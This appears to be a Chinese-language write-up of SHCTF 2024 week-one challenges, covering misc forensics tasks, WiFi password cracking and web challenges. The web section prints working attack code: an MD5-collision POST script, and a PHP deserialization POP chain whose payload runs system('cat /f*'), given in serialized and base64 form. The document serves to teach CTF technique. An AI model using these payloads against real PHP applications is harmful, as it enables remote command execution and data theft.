[TOC]

SHCTF 2024 week1 wp

Misc

[Week1]真真假假?遮遮掩掩!

考点：压缩包伪加密，掩码爆破

下载附件有一个压缩包，打开发现需要密码，放进010查看

伪加密，直接修改

根据提示，想到是掩码爆破

SHCTF{C0ngr@tu1at1ons_On_Mast3r1ng_mAsk_aTT@ck5!}

[Week1]拜师之旅①

考点：损坏文件，png隐写

下载压缩包解压，有个损坏的图片，放进010查看

缺少png文件头部，补上复原

修改高度，得到flag

[Week1]Rasterizing Traffic

考点：流量分析，光栅图解析

经过分析，发现png图片，直接查看或导出来（显示分组字节或导出分组字节流）

光栅图，使用工具AabyssZG/Raster-Terminator: CTF之光栅图秒杀器 (github.com)

下载下来后需要将第75行的三维数组改为二维，这题才能用

输入命令 python Raster-Terminator.py -x 1.png

得到光栅图，连在一起就是flag。

[Week1]有WiFi干嘛不用呢？

考点：wifi密码爆破

用脚本将may文件夹的数据提取出来

1	cat ./* > test.txt

删除[]，用aircrack-ng爆破

找到wifi密码

SHCTF{0TUMVxz0JrUSDxHG}

web

[Week1] 单身十八年的手速

考点：查看源代码

打开网页

查看源代码，找到.js文件

发现一串base64字符

1	U0hDVEZ7OWY0NTM2NzItNTJlNS00N2NlLTg4OWEtMDEyYzkwMDczYmUxfQo=

解码得到flag

SHCTF{9f453672-52e5-47ce-889a-012c90073be1}

[Week1] MD5 Master

考点：md5碰撞，md5长度拓展攻击

<?php
highlight_file(__file__);

$master = "MD5 master!";

if(isset($_POST["master1"]) && isset($_POST["master2"])){
    if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){
        echo $master . "<br>";
        echo file_get_contents('/flag');
    }
}
else{
    die("master? <br>");
}

需要找到前缀都是$master但不相同，而他们的md5值又相同的值。

先用fastcoll找出这两个值。

使用脚本post上传，得到flag。

import requests
import binascii
 
def read_binary_file_as_hex(file_path):
    with open(file_path, 'rb') as binary_file:
        binary_data = binary_file.read()
        hex_data = binascii.hexlify(binary_data).decode('utf-8')
    return hex_data
 
file_1 = 'C:\\CTF\\WEB\\WEB\\webtools\\fastcoll.exe\\1.bin'
file_2 = 'C:\\CTF\\WEB\\WEB\\webtools\\fastcoll.exe\\2.bin'
hex_data_1 = read_binary_file_as_hex(file_1)
hex_data_1 = hex_data_1[22:]
hex_data_2 = read_binary_file_as_hex(file_2)
hex_data_2 = hex_data_2[22:]
print(hex_data_1)
print(hex_data_2)
print(type(hex_data_1))
 
binary_data_1 = bytes.fromhex(hex_data_1)
binary_data_2 = bytes.fromhex(hex_data_2)
 
 
url = 'http://210.44.150.15:25738/'
data = {
    'master1': binary_data_1,
    'master2': binary_data_2
}
 
response = requests.post(url, data=data)
 
print(response.status_code)
print(response.text)

SHCTF{e0b338e9-b826-462b-af82-efce41ef53e9}

[Week1] ez_gittt

考点：git泄露

查看源码，明确git泄露

拉取git到本地查看

看到增加flag，查看详情，找到flag。

SHCTF{6ad1f777-d0cf-41c1-8197-7feb7641e165}

[Week1] jvav

考点：java

不懂 java，但是 gpt 会帮我写代码：

import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
 
public class demo {
    public static void main(String[] args) {
        String filePath = "/flag";  // 本地文件路径
        BufferedReader reader = null;
 
        try {
            reader = new BufferedReader(new FileReader(filePath));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);  // 输出每一行内容
            }
        } catch (IOException e) {
            System.out.println("文件读取错误: " + e.getMessage());
        } finally {
            try {
                if (reader != null) {
                    reader.close();
                }
            } catch (IOException e) {
                System.out.println("关闭文件时出错: " + e.getMessage());
            }
        }
    }
}

得到flag

SHCTF{055ac047-4421-4f0d-902a-8d4f72a585ad}

[Week1] poppopop

考点:序列化反序列化

 <?php
class SH {

    public static $Web = false;
    public static $SHCTF = false;
}
class C {
    public $p;

    public function flag()
    {
        ($this->p)();
    }
}
class T{

    public $n;
    public function __destruct()
    {

        SH::$Web = true;
        echo $this->n;
    }
}
class F {
    public $o;
    public function __toString()
    {
        SH::$SHCTF = true;
        $this->o->flag();
        return "其实。。。。,";
    }
}
class SHCTF {
    public $isyou;
    public $flag;
    public function __invoke()
    {
        if (SH::$Web) {

            ($this->isyou)($this->flag);
            echo "小丑竟是我自己呜呜呜~";
        } else {
            echo "小丑别看了!";
        }
    }
}
if (isset($_GET['data'])) {
    highlight_file(__FILE__);
    unserialize(base64_decode($_GET['data']));
} else {
    highlight_file(__FILE__);
    echo "小丑离我远点！！！";
}

分析代码，构造pop链：

T->__destruct() ----> F->__toString() ----> C->flag() ----> SHCTF->__invoke()

<?php
class SH {

    public static $Web = false;
    public static $SHCTF = false;
}

class C {
    public $p;
}

class T{

    public $n;
}
class F {
    public $o;
}

class SHCTF {
    public $isyou;
    public $flag;
} 

$a = new SHCTF();
$a->isyou = "system";
$a->flag = "cat /f*";
$b = new C();
$b->p = $a;
$c = new F();
$c->o = $b;
$d = new T();
$d->n = $c;

echo serialize($d);
?>
//O:1:"T":1:{s:1:"n";O:1:"F":1:{s:1:"o";O:1:"C":1:{s:1:"p";O:5:"SHCTF":2:{s:5:"isyou";s:6:"system";s:4:"flag";s:7:"cat /f*";}}}}
//base64:TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czo3OiJjYXQgL2YqIjt9fX19